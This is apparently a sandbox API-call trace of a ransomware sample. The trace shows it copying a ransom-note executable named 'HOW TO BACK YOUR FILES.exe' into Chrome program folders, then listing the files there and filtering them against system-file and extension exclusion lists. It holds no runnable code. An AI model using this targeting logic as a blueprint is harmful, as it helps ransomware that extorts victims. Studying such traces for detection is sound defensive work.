	[0055.758] lstrcmpiW (lpString1="smalllogocanary.png", lpString2=".sys") returned 1
	[0055.758] lstrlenW (lpString="smalllogocanary.png") returned 19
	[0055.758] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales"
	[0055.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599590 | out: hHeap=0x580000) returned 1
	[0055.758] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0055.758] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned 70
	[0055.758] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales"
	[0055.758] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.759] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.773] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.773] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x394f6630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x394f6630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.775] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0055.775] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x394f6630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x394f6630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.775] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.775] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0055.775] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0055.775] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0055.775] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeae1a98, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x6f4e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2="Apollon865.txt.exe") returned -1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2=".") returned 1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2="..") returned 1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2="windows") returned -1
	[0055.775] lstrcmpiW (lpString1="am.pak", lpString2="bootmgr") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="temp") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="pagefile.sys") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="boot") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="ids.txt") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="ntuser.dat") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="perflogs") returned -1
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2="MSBuild") returned -1
	[0055.776] lstrlenW (lpString="am.pak") returned 6
	[0055.776] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\*") returned 72
	[0055.776] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="am.pak" | out: lpString1="am.pak") returned="am.pak"
	[0055.776] lstrlenW (lpString="am.pak") returned 6
	[0055.776] lstrlenW (lpString="Apollon865") returned 10
	[0055.776] lstrlenW (lpString=".dll") returned 4
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2=".dll") returned 1
	[0055.776] lstrlenW (lpString=".lnk") returned 4
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2=".lnk") returned 1
	[0055.776] lstrlenW (lpString=".ini") returned 4
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2=".ini") returned 1
	[0055.776] lstrlenW (lpString=".sys") returned 4
	[0055.776] lstrcmpiW (lpString1="am.pak", lpString2=".sys") returned 1
	[0055.776] lstrlenW (lpString="am.pak") returned 6
	[0055.776] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="ar.pak" | out: lpString1="ar.pak") returned="ar.pak"
	[0055.776] lstrlenW (lpString="ar.pak") returned 6
	[0055.776] lstrlenW (lpString="Apollon865") returned 10
	[0055.776] lstrlenW (lpString=".dll") returned 4
	[0055.776] lstrcmpiW (lpString1="ar.pak", lpString2=".dll") returned 1
	[0055.776] lstrlenW (lpString=".lnk") returned 4
	[0055.776] lstrcmpiW (lpString1="ar.pak", lpString2=".lnk") returned 1
	[0055.776] lstrlenW (lpString=".ini") returned 4
	[0055.777] lstrcmpiW (lpString1="ar.pak", lpString2=".ini") returned 1
	[0055.777] lstrlenW (lpString=".sys") returned 4
	[0055.777] lstrcmpiW (lpString1="ar.pak", lpString2=".sys") returned 1
	[0055.777] lstrlenW (lpString="ar.pak") returned 6
	[0055.777] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="bg.pak" | out: lpString1="bg.pak") returned="bg.pak"
	[0055.777] lstrlenW (lpString="bg.pak") returned 6
	[0055.777] lstrlenW (lpString="Apollon865") returned 10
	[0055.777] lstrlenW (lpString=".dll") returned 4
	[0055.777] lstrcmpiW (lpString1="bg.pak", lpString2=".dll") returned 1
	[0055.777] lstrlenW (lpString=".lnk") returned 4
	[0055.777] lstrcmpiW (lpString1="bg.pak", lpString2=".lnk") returned 1
	[0055.777] lstrlenW (lpString=".ini") returned 4
	[0055.777] lstrcmpiW (lpString1="bg.pak", lpString2=".ini") returned 1
	[0055.777] lstrlenW (lpString=".sys") returned 4
	[0055.777] lstrcmpiW (lpString1="bg.pak", lpString2=".sys") returned 1
	[0055.777] lstrlenW (lpString="bg.pak") returned 6
	[0055.777] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="bn.pak" | out: lpString1="bn.pak") returned="bn.pak"
	[0055.777] lstrlenW (lpString="bn.pak") returned 6
	[0055.777] lstrlenW (lpString="Apollon865") returned 10
	[0055.777] lstrlenW (lpString=".dll") returned 4
	[0055.777] lstrcmpiW (lpString1="bn.pak", lpString2=".dll") returned 1
	[0055.777] lstrlenW (lpString=".lnk") returned 4
	[0055.777] lstrcmpiW (lpString1="bn.pak", lpString2=".lnk") returned 1
	[0055.777] lstrlenW (lpString=".ini") returned 4
	[0055.777] lstrcmpiW (lpString1="bn.pak", lpString2=".ini") returned 1
	[0055.777] lstrlenW (lpString=".sys") returned 4
	[0055.777] lstrcmpiW (lpString1="bn.pak", lpString2=".sys") returned 1
	[0055.777] lstrlenW (lpString="bn.pak") returned 6
	[0055.777] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="ca.pak" | out: lpString1="ca.pak") returned="ca.pak"
	[0055.778] lstrlenW (lpString="ca.pak") returned 6
	[0055.778] lstrlenW (lpString="Apollon865") returned 10
	[0055.778] lstrlenW (lpString=".dll") returned 4
	[0055.778] lstrcmpiW (lpString1="ca.pak", lpString2=".dll") returned 1
	[0055.778] lstrlenW (lpString=".lnk") returned 4
	[0055.778] lstrcmpiW (lpString1="ca.pak", lpString2=".lnk") returned 1
	[0055.778] lstrlenW (lpString=".ini") returned 4
	[0055.778] lstrcmpiW (lpString1="ca.pak", lpString2=".ini") returned 1
	[0055.778] lstrlenW (lpString=".sys") returned 4
	[0055.778] lstrcmpiW (lpString1="ca.pak", lpString2=".sys") returned 1
	[0055.778] lstrlenW (lpString="ca.pak") returned 6
	[0055.778] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="cs.pak" | out: lpString1="cs.pak") returned="cs.pak"
	[0055.778] lstrlenW (lpString="cs.pak") returned 6
	[0055.778] lstrlenW (lpString="Apollon865") returned 10
	[0055.778] lstrlenW (lpString=".dll") returned 4
	[0055.778] lstrcmpiW (lpString1="cs.pak", lpString2=".dll") returned 1
	[0055.778] lstrlenW (lpString=".lnk") returned 4
	[0055.778] lstrcmpiW (lpString1="cs.pak", lpString2=".lnk") returned 1
	[0055.778] lstrlenW (lpString=".ini") returned 4
	[0055.778] lstrcmpiW (lpString1="cs.pak", lpString2=".ini") returned 1
	[0055.778] lstrlenW (lpString=".sys") returned 4
	[0055.778] lstrcmpiW (lpString1="cs.pak", lpString2=".sys") returned 1
	[0055.778] lstrlenW (lpString="cs.pak") returned 6
	[0055.778] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="da.pak" | out: lpString1="da.pak") returned="da.pak"
	[0055.778] lstrlenW (lpString="da.pak") returned 6
	[0055.778] lstrlenW (lpString="Apollon865") returned 10
	[0055.778] lstrlenW (lpString=".dll") returned 4
	[0055.778] lstrcmpiW (lpString1="da.pak", lpString2=".dll") returned 1
	[0055.778] lstrlenW (lpString=".lnk") returned 4
	[0055.778] lstrcmpiW (lpString1="da.pak", lpString2=".lnk") returned 1
	[0055.778] lstrlenW (lpString=".ini") returned 4
	[0055.779] lstrcmpiW (lpString1="da.pak", lpString2=".ini") returned 1
	[0055.779] lstrlenW (lpString=".sys") returned 4
	[0055.779] lstrcmpiW (lpString1="da.pak", lpString2=".sys") returned 1
	[0055.779] lstrlenW (lpString="da.pak") returned 6
	[0055.779] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="de.pak" | out: lpString1="de.pak") returned="de.pak"
	[0055.779] lstrlenW (lpString="de.pak") returned 6
	[0055.779] lstrlenW (lpString="Apollon865") returned 10
	[0055.779] lstrlenW (lpString=".dll") returned 4
	[0055.779] lstrcmpiW (lpString1="de.pak", lpString2=".dll") returned 1
	[0055.779] lstrlenW (lpString=".lnk") returned 4
	[0055.779] lstrcmpiW (lpString1="de.pak", lpString2=".lnk") returned 1
	[0055.779] lstrlenW (lpString=".ini") returned 4
	[0055.779] lstrcmpiW (lpString1="de.pak", lpString2=".ini") returned 1
	[0055.779] lstrlenW (lpString=".sys") returned 4
	[0055.779] lstrcmpiW (lpString1="de.pak", lpString2=".sys") returned 1
	[0055.779] lstrlenW (lpString="de.pak") returned 6
	[0055.779] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="el.pak" | out: lpString1="el.pak") returned="el.pak"
	[0055.779] lstrlenW (lpString="el.pak") returned 6
	[0055.779] lstrlenW (lpString="Apollon865") returned 10
	[0055.779] lstrlenW (lpString=".dll") returned 4
	[0055.779] lstrcmpiW (lpString1="el.pak", lpString2=".dll") returned 1
	[0055.779] lstrlenW (lpString=".lnk") returned 4
	[0055.779] lstrcmpiW (lpString1="el.pak", lpString2=".lnk") returned 1
	[0055.779] lstrlenW (lpString=".ini") returned 4
	[0055.779] lstrcmpiW (lpString1="el.pak", lpString2=".ini") returned 1
	[0055.779] lstrlenW (lpString=".sys") returned 4
	[0055.779] lstrcmpiW (lpString1="el.pak", lpString2=".sys") returned 1
	[0055.779] lstrlenW (lpString="el.pak") returned 6
	[0055.779] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="en-GB.pak" | out: lpString1="en-GB.pak") returned="en-GB.pak"
	[0055.779] lstrlenW (lpString="en-GB.pak") returned 9
	[0055.780] lstrlenW (lpString="Apollon865") returned 10
	[0055.780] lstrlenW (lpString=".dll") returned 4
	[0055.780] lstrcmpiW (lpString1="en-GB.pak", lpString2=".dll") returned 1
	[0055.780] lstrlenW (lpString=".lnk") returned 4
	[0055.780] lstrcmpiW (lpString1="en-GB.pak", lpString2=".lnk") returned 1
	[0055.780] lstrlenW (lpString=".ini") returned 4
	[0055.780] lstrcmpiW (lpString1="en-GB.pak", lpString2=".ini") returned 1
	[0055.780] lstrlenW (lpString=".sys") returned 4
	[0055.780] lstrcmpiW (lpString1="en-GB.pak", lpString2=".sys") returned 1
	[0055.780] lstrlenW (lpString="en-GB.pak") returned 9
	[0055.780] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="en-US.pak" | out: lpString1="en-US.pak") returned="en-US.pak"
	[0055.780] lstrlenW (lpString="en-US.pak") returned 9
	[0055.780] lstrlenW (lpString="Apollon865") returned 10
	[0055.780] lstrlenW (lpString=".dll") returned 4
	[0055.780] lstrcmpiW (lpString1="en-US.pak", lpString2=".dll") returned 1
	[0055.780] lstrlenW (lpString=".lnk") returned 4
	[0055.780] lstrcmpiW (lpString1="en-US.pak", lpString2=".lnk") returned 1
	[0055.780] lstrlenW (lpString=".ini") returned 4
	[0055.780] lstrcmpiW (lpString1="en-US.pak", lpString2=".ini") returned 1
	[0055.780] lstrlenW (lpString=".sys") returned 4
	[0055.780] lstrcmpiW (lpString1="en-US.pak", lpString2=".sys") returned 1
	[0055.780] lstrlenW (lpString="en-US.pak") returned 9
	[0055.780] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="es-419.pak" | out: lpString1="es-419.pak") returned="es-419.pak"
	[0055.780] lstrlenW (lpString="es-419.pak") returned 10
	[0055.780] lstrlenW (lpString="Apollon865") returned 10
	[0055.780] lstrlenW (lpString=".dll") returned 4
	[0055.780] lstrcmpiW (lpString1="es-419.pak", lpString2=".dll") returned 1
	[0055.780] lstrlenW (lpString=".lnk") returned 4
	[0055.780] lstrcmpiW (lpString1="es-419.pak", lpString2=".lnk") returned 1
	[0055.780] lstrlenW (lpString=".ini") returned 4
	[0055.780] lstrcmpiW (lpString1="es-419.pak", lpString2=".ini") returned 1
	[0055.781] lstrlenW (lpString=".sys") returned 4
	[0055.781] lstrcmpiW (lpString1="es-419.pak", lpString2=".sys") returned 1
	[0055.781] lstrlenW (lpString="es-419.pak") returned 10
	[0055.781] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="es.pak" | out: lpString1="es.pak") returned="es.pak"
	[0055.781] lstrlenW (lpString="es.pak") returned 6
	[0055.781] lstrlenW (lpString="Apollon865") returned 10
	[0055.781] lstrlenW (lpString=".dll") returned 4
	[0055.781] lstrcmpiW (lpString1="es.pak", lpString2=".dll") returned 1
	[0055.781] lstrlenW (lpString=".lnk") returned 4
	[0055.781] lstrcmpiW (lpString1="es.pak", lpString2=".lnk") returned 1
	[0055.781] lstrlenW (lpString=".ini") returned 4
	[0055.781] lstrcmpiW (lpString1="es.pak", lpString2=".ini") returned 1
	[0055.781] lstrlenW (lpString=".sys") returned 4
	[0055.781] lstrcmpiW (lpString1="es.pak", lpString2=".sys") returned 1
	[0055.781] lstrlenW (lpString="es.pak") returned 6
	[0055.781] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="et.pak" | out: lpString1="et.pak") returned="et.pak"
	[0055.781] lstrlenW (lpString="et.pak") returned 6
	[0055.781] lstrlenW (lpString="Apollon865") returned 10
	[0055.781] lstrlenW (lpString=".dll") returned 4
	[0055.781] lstrcmpiW (lpString1="et.pak", lpString2=".dll") returned 1
	[0055.781] lstrlenW (lpString=".lnk") returned 4
	[0055.781] lstrcmpiW (lpString1="et.pak", lpString2=".lnk") returned 1
	[0055.781] lstrlenW (lpString=".ini") returned 4
	[0055.781] lstrcmpiW (lpString1="et.pak", lpString2=".ini") returned 1
	[0055.781] lstrlenW (lpString=".sys") returned 4
	[0055.781] lstrcmpiW (lpString1="et.pak", lpString2=".sys") returned 1
	[0055.781] lstrlenW (lpString="et.pak") returned 6
	[0055.781] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="fa.pak" | out: lpString1="fa.pak") returned="fa.pak"
	[0055.781] lstrlenW (lpString="fa.pak") returned 6
	[0055.782] lstrlenW (lpString="Apollon865") returned 10
	[0055.782] lstrlenW (lpString=".dll") returned 4
	[0055.782] lstrcmpiW (lpString1="fa.pak", lpString2=".dll") returned 1
	[0055.782] lstrlenW (lpString=".lnk") returned 4
	[0055.782] lstrcmpiW (lpString1="fa.pak", lpString2=".lnk") returned 1
	[0055.782] lstrlenW (lpString=".ini") returned 4
	[0055.782] lstrcmpiW (lpString1="fa.pak", lpString2=".ini") returned 1
	[0055.782] lstrlenW (lpString=".sys") returned 4
	[0055.782] lstrcmpiW (lpString1="fa.pak", lpString2=".sys") returned 1
	[0055.782] lstrlenW (lpString="fa.pak") returned 6
	[0055.782] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="fi.pak" | out: lpString1="fi.pak") returned="fi.pak"
	[0055.782] lstrlenW (lpString="fi.pak") returned 6
	[0055.782] lstrlenW (lpString="Apollon865") returned 10
	[0055.782] lstrlenW (lpString=".dll") returned 4
	[0055.782] lstrcmpiW (lpString1="fi.pak", lpString2=".dll") returned 1
	[0055.782] lstrlenW (lpString=".lnk") returned 4
	[0055.782] lstrcmpiW (lpString1="fi.pak", lpString2=".lnk") returned 1
	[0055.782] lstrlenW (lpString=".ini") returned 4
	[0055.782] lstrcmpiW (lpString1="fi.pak", lpString2=".ini") returned 1
	[0055.782] lstrlenW (lpString=".sys") returned 4
	[0055.782] lstrcmpiW (lpString1="fi.pak", lpString2=".sys") returned 1
	[0055.782] lstrlenW (lpString="fi.pak") returned 6
	[0055.782] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="fil.pak" | out: lpString1="fil.pak") returned="fil.pak"
	[0055.782] lstrlenW (lpString="fil.pak") returned 7
	[0055.782] lstrlenW (lpString="Apollon865") returned 10
	[0055.782] lstrlenW (lpString=".dll") returned 4
	[0055.782] lstrcmpiW (lpString1="fil.pak", lpString2=".dll") returned 1
	[0055.782] lstrlenW (lpString=".lnk") returned 4
	[0055.782] lstrcmpiW (lpString1="fil.pak", lpString2=".lnk") returned 1
	[0055.782] lstrlenW (lpString=".ini") returned 4
	[0055.782] lstrcmpiW (lpString1="fil.pak", lpString2=".ini") returned 1
	[0055.783] lstrlenW (lpString=".sys") returned 4
	[0055.783] lstrcmpiW (lpString1="fil.pak", lpString2=".sys") returned 1
	[0055.783] lstrlenW (lpString="fil.pak") returned 7
	[0055.783] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="fr.pak" | out: lpString1="fr.pak") returned="fr.pak"
	[0055.783] lstrlenW (lpString="fr.pak") returned 6
	[0055.783] lstrlenW (lpString="Apollon865") returned 10
	[0055.783] lstrlenW (lpString=".dll") returned 4
	[0055.783] lstrcmpiW (lpString1="fr.pak", lpString2=".dll") returned 1
	[0055.783] lstrlenW (lpString=".lnk") returned 4
	[0055.783] lstrcmpiW (lpString1="fr.pak", lpString2=".lnk") returned 1
	[0055.783] lstrlenW (lpString=".ini") returned 4
	[0055.783] lstrcmpiW (lpString1="fr.pak", lpString2=".ini") returned 1
	[0055.783] lstrlenW (lpString=".sys") returned 4
	[0055.783] lstrcmpiW (lpString1="fr.pak", lpString2=".sys") returned 1
	[0055.783] lstrlenW (lpString="fr.pak") returned 6
	[0055.783] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="gu.pak" | out: lpString1="gu.pak") returned="gu.pak"
	[0055.783] lstrlenW (lpString="gu.pak") returned 6
	[0055.783] lstrlenW (lpString="Apollon865") returned 10
	[0055.783] lstrlenW (lpString=".dll") returned 4
	[0055.783] lstrcmpiW (lpString1="gu.pak", lpString2=".dll") returned 1
	[0055.783] lstrlenW (lpString=".lnk") returned 4
	[0055.783] lstrcmpiW (lpString1="gu.pak", lpString2=".lnk") returned 1
	[0055.783] lstrlenW (lpString=".ini") returned 4
	[0055.783] lstrcmpiW (lpString1="gu.pak", lpString2=".ini") returned 1
	[0055.783] lstrlenW (lpString=".sys") returned 4
	[0055.783] lstrcmpiW (lpString1="gu.pak", lpString2=".sys") returned 1
	[0055.783] lstrlenW (lpString="gu.pak") returned 6
	[0055.783] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="he.pak" | out: lpString1="he.pak") returned="he.pak"
	[0055.783] lstrlenW (lpString="he.pak") returned 6
	[0055.784] lstrlenW (lpString="Apollon865") returned 10
	[0055.784] lstrlenW (lpString=".dll") returned 4
	[0055.784] lstrcmpiW (lpString1="he.pak", lpString2=".dll") returned 1
	[0055.784] lstrlenW (lpString=".lnk") returned 4
	[0055.784] lstrcmpiW (lpString1="he.pak", lpString2=".lnk") returned 1
	[0055.784] lstrlenW (lpString=".ini") returned 4
	[0055.784] lstrcmpiW (lpString1="he.pak", lpString2=".ini") returned 1
	[0055.784] lstrlenW (lpString=".sys") returned 4
	[0055.784] lstrcmpiW (lpString1="he.pak", lpString2=".sys") returned 1
	[0055.784] lstrlenW (lpString="he.pak") returned 6
	[0055.784] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="hi.pak" | out: lpString1="hi.pak") returned="hi.pak"
	[0055.784] lstrlenW (lpString="hi.pak") returned 6
	[0055.784] lstrlenW (lpString="Apollon865") returned 10
	[0055.784] lstrlenW (lpString=".dll") returned 4
	[0055.784] lstrcmpiW (lpString1="hi.pak", lpString2=".dll") returned 1
	[0055.784] lstrlenW (lpString=".lnk") returned 4
	[0055.784] lstrcmpiW (lpString1="hi.pak", lpString2=".lnk") returned 1
	[0055.784] lstrlenW (lpString=".ini") returned 4
	[0055.784] lstrcmpiW (lpString1="hi.pak", lpString2=".ini") returned 1
	[0055.784] lstrlenW (lpString=".sys") returned 4
	[0055.784] lstrcmpiW (lpString1="hi.pak", lpString2=".sys") returned 1
	[0055.784] lstrlenW (lpString="hi.pak") returned 6
	[0055.784] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="hr.pak" | out: lpString1="hr.pak") returned="hr.pak"
	[0055.784] lstrlenW (lpString="hr.pak") returned 6
	[0055.784] lstrlenW (lpString="Apollon865") returned 10
	[0055.784] lstrlenW (lpString=".dll") returned 4
	[0055.784] lstrcmpiW (lpString1="hr.pak", lpString2=".dll") returned 1
	[0055.784] lstrlenW (lpString=".lnk") returned 4
	[0055.784] lstrcmpiW (lpString1="hr.pak", lpString2=".lnk") returned 1
	[0055.784] lstrlenW (lpString=".ini") returned 4
	[0055.784] lstrcmpiW (lpString1="hr.pak", lpString2=".ini") returned 1
	[0055.785] lstrlenW (lpString=".sys") returned 4
	[0055.785] lstrcmpiW (lpString1="hr.pak", lpString2=".sys") returned 1
	[0055.785] lstrlenW (lpString="hr.pak") returned 6
	[0055.785] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="hu.pak" | out: lpString1="hu.pak") returned="hu.pak"
	[0055.785] lstrlenW (lpString="hu.pak") returned 6
	[0055.785] lstrlenW (lpString="Apollon865") returned 10
	[0055.785] lstrlenW (lpString=".dll") returned 4
	[0055.785] lstrcmpiW (lpString1="hu.pak", lpString2=".dll") returned 1
	[0055.785] lstrlenW (lpString=".lnk") returned 4
	[0055.785] lstrcmpiW (lpString1="hu.pak", lpString2=".lnk") returned 1
	[0055.785] lstrlenW (lpString=".ini") returned 4
	[0055.785] lstrcmpiW (lpString1="hu.pak", lpString2=".ini") returned 1
	[0055.785] lstrlenW (lpString=".sys") returned 4
	[0055.785] lstrcmpiW (lpString1="hu.pak", lpString2=".sys") returned 1
	[0055.785] lstrlenW (lpString="hu.pak") returned 6
	[0055.785] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="id.pak" | out: lpString1="id.pak") returned="id.pak"
	[0055.785] lstrlenW (lpString="id.pak") returned 6
	[0055.785] lstrlenW (lpString="Apollon865") returned 10
	[0055.785] lstrlenW (lpString=".dll") returned 4
	[0055.785] lstrcmpiW (lpString1="id.pak", lpString2=".dll") returned 1
	[0055.785] lstrlenW (lpString=".lnk") returned 4
	[0055.785] lstrcmpiW (lpString1="id.pak", lpString2=".lnk") returned 1
	[0055.785] lstrlenW (lpString=".ini") returned 4
	[0055.785] lstrcmpiW (lpString1="id.pak", lpString2=".ini") returned 1
	[0055.785] lstrlenW (lpString=".sys") returned 4
	[0055.785] lstrcmpiW (lpString1="id.pak", lpString2=".sys") returned 1
	[0055.785] lstrlenW (lpString="id.pak") returned 6
	[0055.785] lstrcpyW (in: lpString1=0x2d3e5de, lpString2="it.pak" | out: lpString1="it.pak") returned="it.pak"
	[0055.785] lstrlenW (lpString="it.pak") returned 6
	[0055.786] lstrlenW (lpString="Apollon865") returned 10
	[0055.786] lstrlenW (lpString=".dll") returned 4
	[0055.786] lstrcmpiW (lpString1="it.pak", lpString2=".dll") returned 1
	[0055.786] lstrlenW (lpString=".lnk") returned 4
	[0055.786] lstrcmpiW (lpString1="it.pak", lpString2=".lnk") returned 1
	[0055.786] lstrlenW (lpString=".ini") returned 4
	[0055.786] lstrcmpiW (lpString1="it.pak", lpString2=".ini") returned 1
	[0055.786] lstrlenW (lpString=".sys") returned 4
	[0055.786] lstrcmpiW (lpString1="it.pak", lpString2=".sys") returned 1
	[0055.786] lstrlenW (lpString="it.pak") returned 6
	[0055.787] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer"
	[0055.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0055.787] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0055.787] lstrlenW (lpString="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned 72
	[0055.787] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer" | out: lpString1="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer"
	[0055.787] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0055.787] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\installer\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0055.794] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0055.794] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Installer\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x395428f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x395428f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0055.794] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.794] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0055.794] lstrcmpiW (lpString1=".", lpString2=".") returned 0
